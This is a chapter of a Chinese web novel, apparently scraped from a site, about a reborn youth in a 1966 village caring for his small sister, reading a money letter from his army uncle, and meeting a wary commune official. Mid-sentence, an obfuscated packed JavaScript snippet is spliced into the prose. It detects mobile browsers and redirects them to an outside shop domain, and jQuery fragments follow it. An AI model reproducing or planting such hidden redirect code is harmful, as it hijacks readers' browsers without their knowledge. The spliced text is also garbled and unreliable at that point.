念念一觉睡到了大天亮。
林晨醒来的时候，发现念念的手还攥着他的衣角，小脸埋在他胳膊弯里，呼吸匀匀的，睫毛一动不动。他低头看了看念念的脸色——不像前几天那么苍白了，多了一层薄薄的血色，像刚抹上去的胭脂，淡淡的。
他没敢动，怕惊醒她。
母亲已经起来了，灶房里传来生火的声音。铁锅咔咔响，水瓢磕在缸沿上，叮的一声。
林晨轻轻把念念的手从衣角上掰开，念念哼了一声，翻了个身，把被子蹬了，露出两只光脚丫。
他给她盖好被子，下了炕。
灶房里，母亲正往锅里舀水。她今天穿了一件洗得发白的蓝褂子，领口的扣子换过，颜色不一样。
“妈，我来。”
“你把你爷你奶叫起来，该吃饭了。”母亲头都没抬。
林晨走到东屋门口，门开着。爷爷已经坐在炕沿上了，两条腿耷拉着，脚踩在地上，正弯腰系鞋带。奶奶站在他身后，把一件旧棉袄披在他肩上。
“爷，吃饭了。”
“嗯。”爷爷系好鞋带，撑着膝盖站起来。右腿使不上劲，身体晃了一下，站稳了，慢慢往外走。
林晨想上去扶，爷爷摆了摆手。
“不用。”
院子里，熙熙正在洗脸。水是从缸里舀的，凉得扎手，她捧了一捧扑在脸上，激得倒吸一口气，拿袖子擦了擦。
“哥，今天风大，你多穿点。”
“知道了。”
念念被从被窝里捞出来的时候还在迷糊，熙熙给她穿衣服，她闭着眼，胳膊伸进袖子里，像根面条，软绵绵的。
“念念，醒了没？”熙熙拍了拍她的脸。
念念睁开一只眼，看见林晨，含含糊糊地喊了一声“锅锅”，又闭上了。
林晨走过去，从熙熙手里接过念念，把最后两颗扣子给她扣上，抱到桌边。
早饭是玉米面糊糊，加了几片红薯。母亲今天多放了一把玉米面，糊糊比前几天稠了点。
“今天咋这么稠？”熙熙问。
“你二叔寄钱了。”母亲端着碗坐下，从兜里掏出一张纸，放在桌上，“刚到的。”
是信。
林晨拿起来，看见信封上印着“义务兵免费”几个红字，是二叔的字，写得歪歪扭扭的，但一笔一划都很认真。
他把信拆开，念出声。
“秀兰嫂，见字如面。部队忙，一直没空写信。津贴攒了两个月，一共四十元，随信寄去。还有五斤粮票，三尺布票。家里缺啥别省着，念念大了，该添衣裳了。二哥身体不好，让他少下地。林晨现在下地了？让他别太拼。国栋，1966年3月。”
四十元。
林晨拿着信纸，手指顿了一下。
二叔一个月津贴才二十来块，这四十元是两个月的全部。他全寄回来了，自己一分没留。
母亲端着碗，没喝。她看着桌上那几张票证，嘴唇动了动，没说话。
“妈。”林晨把信放下，“二叔说让你别省。”
“我没省。”母亲端起碗，喝了一口糊糊，咽下去，“你二叔一个人在部队，也不容易。”
熙熙在旁边低头喝糊糊，没吭声。
念念坐在林晨腿上，小手扒着碗沿，喝了一口糊糊，抬头说：“锅锅，甜。”
“糊糊甜？”林晨问。
“嗯，田。”念念又喝了一口，眯着眼，像小猫舔奶。
林晨摸了摸她的头。
母亲看着念念喝糊糊，看了一会儿，转头对熙熙说：“你二叔寄了三尺布票，回头去供销社扯块布，给念念做件春衫。”
“我也要。”熙熙说。
“你的还能穿。”
“我的短了，露手腕。”
母亲看了她一眼：“露一截手腕怎么了？冻不着。”
熙熙不说话了，低头喝糊糊。
林晨没插嘴。他知道母亲不是不疼熙熙，是真没钱。三尺布票，扯一块布够给念念做一件，给熙熙做可能不够，少一截袖子。
“妈。”林晨说，“布票留着我让二舅帮忙扯，他认识供销社的人，能多扯几寸。”
母亲看了他一眼，没应，但也没拒绝。
吃完饭，林晨准备下地。
他把信纸折好，放回信封里，塞进枕头底下。二叔的信，奶奶要看，她识字不多，但二叔寄来的信她都要看，哪怕只看那几个她认识的字，也要翻来覆去地看好几遍。
“晨儿。”奶奶从东屋探出头，“你二叔信上写啥了？”
“寄了四十块钱，还有粮票布票。”林晨走过去，把信从枕头底下拿出来递给奶奶，“奶奶你看。”
奶奶接过信，戴上老花镜。镜腿缺了一边，用麻绳绑着，挂在耳朵上。她一个字一个字地看，眼睛眯成一条缝，嘴唇跟着动，像在默念。
“国栋瘦了没？”她问。
“信上没说。”
“他一个人在外头，也不知道吃不吃得饱。”奶奶把信折好，还给他，又叮嘱了一句，“你给他回信，就说家里都好，让他别惦记。”
“好。”
林晨扛着锄头出院门。
念念今天又追出来了，光着脚站在门槛上，朝他挥手。
“锅锅，回来给我带——带——”
“带什么？”
念念想了半天，手指头点着下巴，最后说：“带化。”
林晨笑了。
“好，哥给你带化。”
他转过身，大步往村口走。口袋里，玉佩沉甸甸的，贴着大腿。
村口老榆树下，老队长正在发今天的工单。
“南坡，三组，锄地。李叔带队，林晨跟李叔。”
林晨接过锄头，站到李叔旁边。
“你二叔来钱了？”李叔低声问。
“嗯。”
“好事。”李叔把旱烟袋别在腰上，“你妈能松一口气。”
两人跟着队伍往南坡走。
走到半路，林晨看见一个人从对面走过来，穿中山装，上衣口袋插着两支钢笔，背着手，走路不紧不慢。
孙志高。
公社副主任。
林晨前世见过他，不多，但印象深。这个人说话慢条斯理，笑不达眼底，开会的时候爱引用语录，一大段一大段地背，背完了还要问“同志们，对不对？”
“赵队长。”孙志高在老队长面前站住了，“忙着呢？”
“孙主任。”老队长放下锄头，笑着迎上去，“您怎么来了？”
“看看春耕。”孙志高扫了一眼队伍，目光从每个人脸上滑过去，在林晨脸上停了一下。
“这孩子是……”
“林国梁家的。”老队长说，“老大。”
孙志高愣了一下，然后笑了。
他笑起来的时候眼角纹路很深，但那双眼睛没变，还是淡淡的，像在看一样东西而不是一个人。
“烈属家的小孩。”他点点头，“好好干，你们家不容易。”
林晨低下头，说了声“是”。
孙志高没再看他，跟老队长说了几句春耕的事，就走了。
李叔在旁边没说话，等孙志高走远了，才“啧”了一声。
“这人，不好惹。”
林晨没接话。
他扛着锄头往前走，心里把孙志高的脸记住了。
南坡的太阳晒得人发昏。林晨抡起锄头，一锄一锄地刨。土块翻起来，散开，扬起的土灰钻进鼻子里，呛得他想打喷嚏。
“晨儿。”李叔在隔壁垄上喊他，“你手上的泡好了？”
“好了。”
“你皮实。”
林晨笑了一下，低头继续刨。
他一边干活一边想，今天夜里进空间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508783|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，把剩下的地翻一翻，再种点土豆。土豆耐放，存着冬天吃。
口袋里玉佩硌着腿，沉沉的，像在催他。
下午收工的时候，老队长在村口吹哨，大家扛着锄头往回走。
林晨走了一半，想起念念要的“化”，在路边随手拔了几株野花，白的紫的，细碎的，拿草茎扎成一束。
进院门的时候，念念正蹲在院子里拿小棍子画圈圈。
“念念。”
念念抬头，看见他手里的花，眼睛一下子亮了。
“化！”她从地上爬起来，小短腿蹬蹬蹬跑过来，一把抱住林晨的腿，另一只手去够那束花。
林晨蹲下来，把花递给她。
念念两只手捧着花，凑到鼻子底下闻了闻，打了个喷嚏。
“好闻。”她揉揉鼻子。
“谁教你的？好闻。”
“奶奶说的。”念念举着花跑进灶房，举到母亲面前，“妈，看，锅锅给的化。”
母亲正在切红薯，偏头看了一眼花，脸上浮起一点笑。
“放水里，养着。”
念念不知道什么叫“养着”，但她把花放进了水瓢里。水瓢漂在水缸里，花漂在水面上，晃晃悠悠的。
念念趴在缸沿上看，看了半天。
“念念，吃饭了。”熙熙喊她。
“看化。”
“花有什么好看的？”
“好看。”念念头都不回。
林晨坐在门槛上，脱了鞋，倒掉里面的土。
灶房里，母亲的缝纫机又响了。咔嚓咔嚓，一下一下。
熙熙在油灯下写字，是周老师布置的——十个生字，每个写五遍。
念念蹲在水缸边，看花。
东屋里，奶奶给爷爷揉腿。爷爷闷声不吭，偶尔嘶一声。
林晨靠在门框上，闭上眼。
灶房里的糊糊味，缝纫机声，油灯的烟，念念趴在缸沿上小小的影子，全搅在一起，热腾腾的。
他睁开眼，看了一眼念念。
念念还趴在水缸沿上，小手撑着下巴，花漂在水面上，白色的花瓣沾了水，亮晶晶的。
“锅锅。”
“嗯。”
“化，不会谢吧？”
林晨顿了顿，说：“不会。”
他说完，手不自觉地摸了摸口袋里的玉佩。
玉佩温热的，沉沉的，像是在说：我不会让它谢。
夜深了。
全家的呼吸都稳了之后，林晨又摸进了空间。
黑土地上的玉米苗又长高了，叶子更绿了，茎秆有手指粗了。
他扛着锄头，花了半个时辰，把剩下的八分地翻了一半。
然后灌了一竹筒灵泉水，出来，兑进水壶里。
躺在炕上，念念的手不知道什么时候又攥住了他的衣角。
林晨没动，睁着眼，在黑暗里听念念的呼吸。
比以前稳了。
第二天早上，念念喝糊糊的时候，忽然说了一句：“锅锅，给二鼠写信。”
“给谁？”林晨没听清。
“二鼠。”念念手里拿着一小块红薯，啃得满脸都是，“二鼠给我寄钱了，我要跟二鼠说，念念想他了。”
母亲端着碗，愣了一下，然后笑了。
熙熙也笑了。
林晨看着念念啃红薯的样子，忽然觉得眼眶有点热。
二鼠。
二叔。
念念连二叔都叫不清，但她知道二叔对她好。
林晨把念念嘴角的红薯擦掉，说：“好，哥写信，你跟二鼠说。”
念念点点头，继续啃红薯。
东屋里，爷爷咳嗽了两声。奶奶在跟他说话，声音低低的，听不清说什么。
窗外的老榆树被风吹得沙沙响。
林晨靠在门框上，觉得今天的风，不那么凉了。